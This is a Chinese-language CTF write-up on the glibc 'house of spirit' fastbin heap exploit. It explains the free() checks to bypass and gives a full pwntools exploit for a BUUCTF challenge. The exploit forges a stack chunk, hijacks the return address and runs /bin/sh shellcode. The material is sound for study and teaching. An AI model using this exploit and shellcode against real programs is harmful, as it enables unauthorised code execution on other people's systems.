# house-of-spirit
漏洞成因
堆溢出写
适用范围
2.23
—— 至今
# 概要:
该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
# 绕过检测:
- fake chunk 的 ISMMAP 位不能为 1, 因为 free 时,如果是 mmap 的 chunk, 会单独处理
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
- fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于 av->system_mem
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况
# 利用思路:
one:
- 申请
chunk A、chunk B、chunk C、chunk D
- 对
A
写操作的时候溢出,修改B
的size
域,使其能包括chunk C
- 释放
B
,然后把B
申请回来,再释放C
,则可以通过读写B
来控制C
的内容
two:
-
在栈中构造 fake chunk,大小覆盖掉函数的返回地址,再次分配得到返回地址控制,写入 one_gadget 或者 shellcode 地址。
-
注意如果构造 fastbin,free 函数会检测 next chunk 的大小与当前的 fake chunk 大小是否一致,需要绕过!
three:
-
伪造堆块:在可控的两个堆块构造好数据,将它伪造成一个 fastbin
-
覆盖堆指针指向上一步伪造的堆块
-
释放堆块,将伪造的堆块释放入 fastbin 的单链表里面
-
申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的
# 例题:
BUUCTF 在线评测 (buuoj.cn)
存在 rwx,可以在栈上放 shellcode
可以泄露 rbp
存在溢出,buf 可以溢出到 dest 变量
写之前
写之后
只能去申请 0-0x80 大小的 chunk。可以看到 ptr 会被再次申请回来。而 dele 可以去 free 之前的 ptr。
所以我们可以去覆写 ptr,从而劫持返回地址,写入 shellcode 即可。
pl = p64(0)*4 + p64(0) + p64(0x51) + p64(rbp-0x98) |
伪造 fake_chunk—— 可惜这样并不行。
原因:堆是向高地址生长的,而栈是有低地址生长的
pl = p64(0) + p64(0x61) + p64(0) + p64(0) + p64(0) + p64(0)*2 + p64(rbp-0xb0)
注意:一样要注意再次 malloc 时堆块的大小,否则此检查不过
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem); __libc_lock_unlock (av->mutex);}
if (fail) malloc_printerr ("free(): invalid next size (fast)");
# 完整 exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './pwn' | |
# host, port = ":".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
# libc = ELF(libc) | |
# elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f'{var_name}:' + hex(eval(var_name))) | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' | |
sa(b'who are u?\n',b'a'.ljust(0x30,b'\x90')) | |
rc(0x30) | |
rbp = u64(rc(6).ljust(8,b'\0')) | |
lg('rbp') | |
sla(b'give me your id ~~?\n','97') | |
pl = p64(0) + p64(0x61) + p64(0) + p64(0) + p64(0) + p64(0)*2 + p64(rbp-0xb0) | |
sa(b"give me money~\n",pl) | |
ru(b'your choice : ') | |
sl(b'2') | |
sl(b'1') | |
sl('80') | |
se(shellcode.ljust(0x30,b'\0') + p64(0) + p64(rbp - 0x68 - 0x30 - 0x18)) | |
ru(b'3. goodbye') | |
sl('3') | |
it() |
总结:此次攻击 fake 堆块到栈上,从而劫持返回地址。注意的问题,需要 malloc 出 fake_chunk 的 size 要合适。堆栈反向增长,这里一定要注意。(一定要注意回车适合输入!
参考
https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#2-house-of 系列
https://panda0s.top/2021/06/10/house-of-spirit/
https://bbs.kanxue.com/thread-266355.htm
https://lantern.cool/note-pwn-house-of-spirit/index.html
增文:
void __libc_free(void *mem) { | |
mstate ar_ptr; | |
mchunkptr p; | |
void (*hook)(void *, const void *) = atomic_forced_read (__free_hook); | |
if (__builtin_expect(hook != NULL, 0)) { | |
(*hook)(mem, RETURN_ADDRESS(0)); | |
return; | |
} | |
if (mem == 0) | |
return; | |
p = mem2chunk(mem); | |
/* 首先 M 标志位不能被置上才能绕过。release mmapped memory. */ | |
if (chunk_is_mmapped(p)){ | |
if (!mp_.no_dyn_threshold | |
&& p->size | |
> mp_.mmap_threshold&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX) { | |
mp_.mmap_threshold = chunksize(p); | |
mp_.trim_threshold = 2 * mp_.mmap_threshold; | |
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, | |
mp_.mmap_threshold, mp_.trim_threshold); | |
} | |
munmap_chunk(p); | |
return; | |
} | |
ar_ptr = arena_for_chunk(p); | |
_int_free(ar_ptr, p, 0); | |
} | |
void | |
_int_free(mstate av, Void_t* mem) | |
{ | |
mchunkptr p; /* chunk corresponding to mem */ | |
INTERNAL_SIZE_T size; /* its size */ | |
mfastbinptr* fb; /* associated fastbin */ | |
// ... | |
p = mem2chunk(mem); | |
size = chunksize(p); | |
// ... | |
/* | |
If eligible, place chunk on a fastbin so it can be found | |
and used quickly in malloc. | |
*/ | |
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) /* 其次,size 的大小不能超过 fastbin 的最大值 */ | |
#if TRIM_FASTBINS | |
/* | |
If TRIM_FASTBINS set, don't place chunks | |
bordering top into fastbins | |
*/ | |
&& (chunk_at_offset(p, size) != av->top) | |
#endif | |
) { | |
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) | |
|| __builtin_expect (chunksize (chunk_at_offset (p, size)) | |
>= av->system_mem, 0)) /* 最后是下一个堆块的大小,要大于 2*SIZE_ZE 小于 system_mem*/ | |
{ | |
errstr = "free(): invalid next size (fast)"; | |
goto errout; | |
} | |
//... | |
fb = &(av->fastbins[fastbin_index(size)]); | |
//... | |
p->fd = *fb; | |
} |